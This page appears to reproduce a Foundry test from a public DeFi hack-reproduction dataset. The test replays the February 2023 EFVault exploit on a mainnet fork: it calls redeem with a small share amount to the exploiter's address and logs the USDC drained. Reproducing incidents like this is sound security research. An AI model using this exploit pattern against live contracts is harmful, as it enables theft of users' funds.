Public reproduction file
src/test/2023-02/EFVault_exp.sol
Public reproduction file for dataset entry - EFVault.
Code
Verbatim source from the public dataset at the pinned commit below. Licence header preserved. ThreatWire has not executed this code. It is shown for defensive research, as published in the public reference dataset. Check licences, verify the blob against the pinned commit, and do not run it against live contracts without your own review.
1// SPDX-License-Identifier: UNLICENSED2pragma solidity ^0.8.0;4import "forge-std/Test.sol";5import "./../interface.sol";7// @Analysis8// https://twitter.com/peckshield/status/16304903337160294409// https://twitter.com/drdr_zz/status/163050017037368524810// https://twitter.com/gbaleeeee/status/163058752269808025711// @TX12// https://etherscan.io/tx/0x1fe5a53405d00ce2f3e15b214c7486c69cbc5bf165cf9596e86f797f62e8191414interface IENF is IERC20 {15 function redeem(uint256 shares, address receiver) external;16}18contract ContractTest is Test {19 IENF ENF = IENF(0xBDB515028A6fA6CD1634B5A9651184494aBfD336);20 IERC20 USDC = IERC20(0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48);21 address exploiter = 0x8B5A8333eC272c9Bca1E43F4d009E9B2FAd5EFc9;23 CheatCodes cheats = CheatCodes(0x7109709ECfa91a80626fF3989D68f67F5b1DD12D);25 function setUp() public {26 cheats.createSelectFork("mainnet", 16_696_239);27 }29 function testExploit() external {30 deal(address(ENF), address(this), 1e18);31 cheats.startPrank(address(this), address(this));32 ENF.redeem(676_562, exploiter);33 cheats.stopPrank();35 emit log_named_decimal_uint("Exploiter USDC balance after exploit", USDC.balanceOf(exploiter), USDC.decimals());36 }37}Analysis
Dataset entry
Public Foundry test for “- EFVault” (2023-02-24). Addresses, transactions and links below are taken from comments in the file itself. ThreatWire has not verified them on-chain and has not executed this file.
Related files
14 linkedImports used by this file, other reproduction files from the same month or protocol in the dataset, and patterns for the same incident. Each opens in our reader with verbatim source.
- src/test/2023-02/BonqDAO_exp.solSame month in the dataset · 533 lines
- src/test/2023-02/CowSwap_exp.solSame month in the dataset · 64 lines
- src/test/2023-02/Dexible_exp.solSame month in the dataset · 83 lines
- src/test/2023-02/dForce_exp.solSame month in the dataset · 382 lines
- src/test/2023-02/DYNA_exp.solSame month in the dataset · 132 lines
- src/test/2023-02/FDP_exp.solSame month in the dataset · 114 lines
- src/test/2023-02/LaunchZone_exp.solSame month in the dataset · 146 lines
- src/test/2023-02/Orion_exp.solSame month in the dataset · 191 lines
- src/test/2023-02/Platypus_exp.solSame month in the dataset · 138 lines
- src/test/2023-02/RevertFinance_exp.solSame month in the dataset · 91 lines
- src/test/2023-02/Sheep_exp.solSame month in the dataset · 72 lines
- src/test/2023-02/USDs_exp.solSame month in the dataset · 51 lines
- src/test/2023-02/Starlink_exp.solSame month in the dataset · 80 lines
- src/test/2023-02/SwapX_exp.solSame month in the dataset · 83 lines
Listed in the source file
Listed by the source dataset, not verified by ThreatWire
- Reference: https://twitter.com/peckshield/status/1630490333716029440
- Reference: https://twitter.com/drdr_zz/status/1630500170373685248
- Reference: https://twitter.com/gbaleeeee/status/1630587522698080257
- Explorer: https://etherscan.io/tx/0x1fe5a53405d00ce2f3e15b214c7486c69cbc5bf165cf9596e86f797f62e81914
File record
- Name
- EFVault
- Path
- src/test/2023-02/EFVault_exp.sol
- Repository
- SunWeb3Sec/DeFiHackLabs (licence Apache-2.0)
- Commit
- 7363f76db51f0fea97f8e659b20ee8bdc5fbca25
- Blob
- f2da5f6f16e4df135648357efd1679801bbd3d7c
- Language
- Solidity
- Size
- 38 lines
- Date
- 2023-02-24
- Licence
- file header UNLICENSED; repository Apache-2.0
- Retrieved
- 2026-10-19
Provenance
Path src/test/2023-02/EFVault_exp.sol, commit 7363f76db51f0fea97f8e659b20ee8bdc5fbca25, blob f2da5f6f16e4df135648357efd1679801bbd3d7c, retrieved 2026-10-19. Verbatim file via git show at the pinned commit; SPDX header preserved. ThreatWire has never executed this file. Reference: source file at the pinned commit.